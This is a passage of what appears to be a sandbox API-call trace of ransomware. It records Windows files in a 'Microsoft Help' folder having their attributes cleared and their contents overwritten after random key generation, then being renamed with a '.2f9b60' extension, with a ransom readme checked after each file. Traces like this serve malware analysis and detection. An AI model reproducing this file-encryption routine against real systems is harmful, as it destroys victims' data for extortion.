sprintf (in: _Dest=0x1b7c216c, _Format="%c%c" | out: _Dest="89") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c216e, _Format="%c%c" | out: _Dest="2b") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c2170, _Format="%c%c" | out: _Dest="36") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c2172, _Format="%c%c" | out: _Dest="51") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c2174, _Format="%c%c" | out: _Dest="f7") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c2176, _Format="%c%c" | out: _Dest="36") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c2178, _Format="%c%c" | out: _Dest="c9") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c217a, _Format="%c%c" | out: _Dest="e0") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c217c, _Format="%c%c" | out: _Dest="02") returned 2 [0087.395] sprintf (in: _Dest=0x1b7c217e, _Format="%c%c" | out: _Dest="0e") returned 2 [0087.395] sprintf (in: _Dest=0x1b7c2180, _Format="%c%c" | out: _Dest="3a") returned 2 [0087.395] sprintf (in: _Dest=0x1b7c2182, _Format="%c%c" | out: _Dest="09") returned 2 [0087.395] sprintf (in: _Dest=0x1b7c2184, _Format="%c%c" | out: _Dest="26") returned 2 [0087.395] sprintf (in: _Dest=0x1b7c2186, _Format="%c%c" | out: _Dest="69") returned 2 [0087.395] sprintf (in: _Dest=0x1b7c2188, _Format="%c%c" | out: _Dest="4b") returned 2 [0087.395] sprintf (in: _Dest=0x1b7c218a, _Format="%c%c" | out: _Dest="d8") returned 2 [0087.395] sprintf (in: _Dest=0x1b7c218c, _Format="%c%c" | out: _Dest="07") returned 2 [0087.395] sprintf (in: _Dest=0x1b7c218e, _Format="%c%c" | out: _Dest="6f") returned 2 [0087.395] RtlInitAnsiString (in: DestinationString=0x20fbf988, SourceString="bba156baecd045babcc82449bdc7288a08189c1d351848c9df406e1a5864892b3651f736c9e0020e3a0926694bd8076f" | out: DestinationString="bba156baecd045babcc82449bdc7288a08189c1d351848c9df406e1a5864892b3651f736c9e0020e3a0926694bd8076f") [0087.395] RtlAnsiStringToUnicodeString (in: DestinationString=0x20fbf958, SourceString="bba156baecd045babcc82449bdc7288a08189c1d351848c9df406e1a5864892b3651f736c9e0020e3a0926694bd8076f", AllocateDestinationString=1 | out: DestinationString="bba156baecd045babcc82449bdc7288a08189c1d351848c9df406e1a5864892b3651f736c9e0020e3a0926694bd8076f") returned 0x0 [0087.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118470 [0087.395] wcscat (in: _Dest=0x1b783f80, _Source="bba156baecd045babcc82449" | out: _Dest="C:\\ProgramData\\Microsoft Help\\bba156baecd045babcc82449") returned="C:\\ProgramData\\Microsoft Help\\bba156baecd045babcc82449" [0087.395] wcscat (in: _Dest=0x1b783f80, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\bba156baecd045babcc82449.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\bba156baecd045babcc82449.2f9b60" [0087.395] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\bba156baecd045babcc82449.2f9b60", NtPathName=0x20fbf930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\bba156baecd045babcc82449.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0087.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b7a5a70 [0087.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5a70) returned 1 [0087.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0087.397] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x20fbf998, FileInformation=0x20fbf9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20fbf998, FileInformation=0x20fbf9a8) returned 0x0 [0087.397] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x20fbf998, FileInformation=0x20fbf9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0087.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783f80) returned 1 [0087.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118470) returned 1 [0087.399] FlushFileBuffers (hFile=0x96c) returned 1 [0087.400] CloseHandle (hObject=0x96c) returned 1 [0087.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2130 [0087.401] wcscpy (in: _Dest=0x1b7c2130, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0087.401] wcscat (in: _Dest=0x1b7c2130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0087.401] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0087.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2130) returned 1 [0087.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 Thread: id = 224 os_tid = 0xcb0 [0087.412] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.14.1033.hxn")) returned 0x2022 [0087.413] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0087.413] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0087.413] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x2104fd60 | out: lpFileSize=0x2104fd60*=338) returned 1 [0087.413] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x14e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.413] ReadFile (in: hFile=0x96c, lpBuffer=0x2104fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2104fd28, lpOverlapped=0x0 | out: lpBuffer=0x2104fce0*, lpNumberOfBytesRead=0x2104fd28*=0x4, lpOverlapped=0x0) returned 1 [0087.414] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b590 [0087.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0087.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4a0 [0087.414] NtQuerySystemTime (in: CurrentTime=0x2104fc20 | out: CurrentTime=0x2104fc20*=132462176932954000) returned 0x0 [0087.414] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x13b2528f [0087.414] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x10ded9e3 [0087.414] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x44c2c87c [0087.414] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x3df6d6ab [0087.414] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x48648855 [0087.414] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x3e8c9669 [0087.414] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x57895386 [0087.414] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x6cdaf3dd [0087.414] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x463460ce [0087.414] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x17b22de0 [0087.414] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x1e205bc4 [0087.414] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x350313af [0087.414] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x5df1923b [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x5858204b [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x785068f1 [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x237d0758 [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x7cf4c871 [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0xb03ce22 [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x6df52dbc [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x408508d3 [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x65bd1795 [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x7e56f82f [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x197a9c6c [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x20ade26a [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x17e4edfe [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x215eb2f0 [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x7160828c [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x4c220ec5 [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x4ce32bf8 [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x61b98bf7 [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x5bf58605 [0087.415] RtlRandomEx (in: Seed=0x2104fc10 | out: Seed=0x2104fc10) returned 0x1a1d6c59 [0087.421] ReadFile (in: hFile=0x96c, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x152, lpNumberOfBytesRead=0x2104fc10, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x2104fc10*=0x152, lpOverlapped=0x0) returned 1 [0087.421] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.421] WriteFile (in: hFile=0x96c, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2104fc14, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x2104fc14*=0x152, lpOverlapped=0x0) returned 1 [0087.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b590 [0087.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4a0 [0087.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4a0) returned 1 [0087.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0087.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0087.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0087.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0087.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd97300 [0087.425] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0087.425] WriteFile (in: hFile=0x96c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2104fd30, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2104fd30*=0x11e, lpOverlapped=0x0) returned 1 [0087.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0087.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e170 [0087.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0087.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b3b0) returned 1 [0087.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9eeb0 [0087.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0087.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0087.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4d0) returned 1 [0087.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e170) returned 1 [0087.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0087.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x1b7c2130 [0087.450] sprintf (in: _Dest=0x1b7c2130, _Format="%c%c" | out: _Dest="90") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c2132, _Format="%c%c" | out: _Dest="e9") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c2134, _Format="%c%c" | out: _Dest="ac") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c2136, _Format="%c%c" | out: _Dest="a7") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c2138, _Format="%c%c" | out: _Dest="9f") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c213a, _Format="%c%c" | out: _Dest="93") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c213c, _Format="%c%c" | out: _Dest="d1") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c213e, _Format="%c%c" | out: _Dest="b8") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c2140, _Format="%c%c" | out: _Dest="43") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c2142, _Format="%c%c" | out: _Dest="ea") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c2144, _Format="%c%c" | out: _Dest="c5") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c2146, _Format="%c%c" | out: _Dest="31") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c2148, _Format="%c%c" | out: _Dest="c0") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c214a, _Format="%c%c" | out: _Dest="39") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c214c, _Format="%c%c" | out: _Dest="85") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c214e, _Format="%c%c" | out: _Dest="bb") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c2150, _Format="%c%c" | out: _Dest="8e") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c2152, _Format="%c%c" | out: _Dest="c7") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c2154, _Format="%c%c" | out: _Dest="d9") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c2156, _Format="%c%c" | out: _Dest="1b") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c2158, _Format="%c%c" | out: _Dest="90") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c215a, _Format="%c%c" | out: _Dest="b2") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c215c, _Format="%c%c" | out: _Dest="da") returned 2 [0087.451] sprintf (in: _Dest=0x1b7c215e, _Format="%c%c" | out: _Dest="99") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c2160, _Format="%c%c" | out: _Dest="99") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c2162, _Format="%c%c" | out: _Dest="2a") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c2164, _Format="%c%c" | out: _Dest="23") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c2166, _Format="%c%c" | out: _Dest="bf") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c2168, _Format="%c%c" | out: _Dest="3b") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c216a, _Format="%c%c" | out: _Dest="09") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c216c, _Format="%c%c" | out: _Dest="a7") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c216e, _Format="%c%c" | out: _Dest="09") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c2170, _Format="%c%c" | out: _Dest="82") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c2172, _Format="%c%c" | out: _Dest="7e") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c2174, _Format="%c%c" | out: _Dest="c4") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c2176, _Format="%c%c" | out: _Dest="d7") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c2178, _Format="%c%c" | out: _Dest="8d") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c217a, _Format="%c%c" | out: _Dest="04") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c217c, _Format="%c%c" | out: _Dest="34") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c217e, _Format="%c%c" | out: _Dest="31") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c2180, _Format="%c%c" | out: _Dest="73") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c2182, _Format="%c%c" | out: _Dest="84") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c2184, _Format="%c%c" | out: _Dest="66") returned 2 [0087.452] sprintf (in: _Dest=0x1b7c2186, _Format="%c%c" | out: _Dest="9d") returned 2 [0087.452] RtlInitAnsiString (in: DestinationString=0x2104fda8, SourceString="90e9aca79f93d1b843eac531c03985bb8ec7d91b90b2da99992a23bf3b09a709827ec4d78d0434317384669d" | out: DestinationString="90e9aca79f93d1b843eac531c03985bb8ec7d91b90b2da99992a23bf3b09a709827ec4d78d0434317384669d") [0087.452] RtlAnsiStringToUnicodeString (in: DestinationString=0x2104fd78, SourceString="90e9aca79f93d1b843eac531c03985bb8ec7d91b90b2da99992a23bf3b09a709827ec4d78d0434317384669d", AllocateDestinationString=1 | out: DestinationString="90e9aca79f93d1b843eac531c03985bb8ec7d91b90b2da99992a23bf3b09a709827ec4d78d0434317384669d") returned 0x0 [0087.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x106580 [0087.453] wcscat (in: _Dest=0x1b79e170, _Source="90e9aca79f93d1b843eac5" | out: _Dest="C:\\ProgramData\\Microsoft Help\\90e9aca79f93d1b843eac5") returned="C:\\ProgramData\\Microsoft Help\\90e9aca79f93d1b843eac5" [0087.453] wcscat (in: _Dest=0x1b79e170, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\90e9aca79f93d1b843eac5.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\90e9aca79f93d1b843eac5.2f9b60" [0087.453] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\90e9aca79f93d1b843eac5.2f9b60", NtPathName=0x2104fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\90e9aca79f93d1b843eac5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0087.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ad840 [0087.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad840) returned 1 [0087.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0087.456] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x2104fdb8, FileInformation=0x2104fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2104fdb8, FileInformation=0x2104fdc8) returned 0x0 [0087.456] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x2104fdb8, FileInformation=0x2104fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0087.466] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e170) returned 1 [0087.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106580) returned 1 [0087.469] FlushFileBuffers (hFile=0x96c) returned 1 [0087.475] CloseHandle (hObject=0x96c) returned 1 [0087.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2130 [0087.476] wcscpy (in: _Dest=0x1b7c2130, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0087.476] wcscat (in: _Dest=0x1b7c2130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0087.476] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0087.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2130) returned 1 [0087.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 Thread: id = 225 os_tid = 0xcb4 [0087.432] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.dev.14.1033.hxn")) returned 0x2022 [0087.433] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0087.434] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x970 [0087.434] GetFileSizeEx (in: hFile=0x970, lpFileSize=0x2115f960 | out: lpFileSize=0x2115f960*=362) returned 1 [0087.434] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x166, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.434] ReadFile (in: hFile=0x970, lpBuffer=0x2115f8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2115f928, lpOverlapped=0x0 | out: lpBuffer=0x2115f8e0*, lpNumberOfBytesRead=0x2115f928*=0x4, lpOverlapped=0x0) returned 1 [0087.435] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0087.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0087.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0087.435] NtQuerySystemTime (in: CurrentTime=0x2115f820 | out: CurrentTime=0x2115f820*=132462176933110000) returned 0x0 [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x2e4d85da [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x698d775a [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x71132deb [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x7e86af77 [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x670f7920 [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x443e6b88 [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x76e87127 [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0xd3d24e2 [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x7f5d6e40 [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x33065ce9 [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x24575448 [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x661220b7 [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x140d9b61 [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x685c19a [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0xec43723 [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x13342e31 [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x40a94728 [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x33c6144b [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x27576adf [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x7ec6a83 [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x7e253e4a [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x4f671eeb [0087.435] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x4162b225 [0087.436] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x132ba6f7 [0087.436] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x4aa3469b [0087.436] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x2730a00 [0087.436] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x7823852b [0087.436] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x3436859 [0087.436] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x8421c03 [0087.436] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x55834095 [0087.436] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0x63b98312 [0087.436] RtlRandomEx (in: Seed=0x2115f810 | out: Seed=0x2115f810) returned 0xa0b6062 [0087.442] ReadFile (in: hFile=0x970, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x16a, lpNumberOfBytesRead=0x2115f810, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x2115f810*=0x16a, lpOverlapped=0x0) returned 1 [0087.443] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.443] WriteFile (in: hFile=0x970, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x16a, lpNumberOfBytesWritten=0x2115f814, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x2115f814*=0x16a, lpOverlapped=0x0) returned 1 [0087.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b560 [0087.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0087.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b380) returned 1 [0087.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0087.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0087.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0087.454] RtlFreeHeap 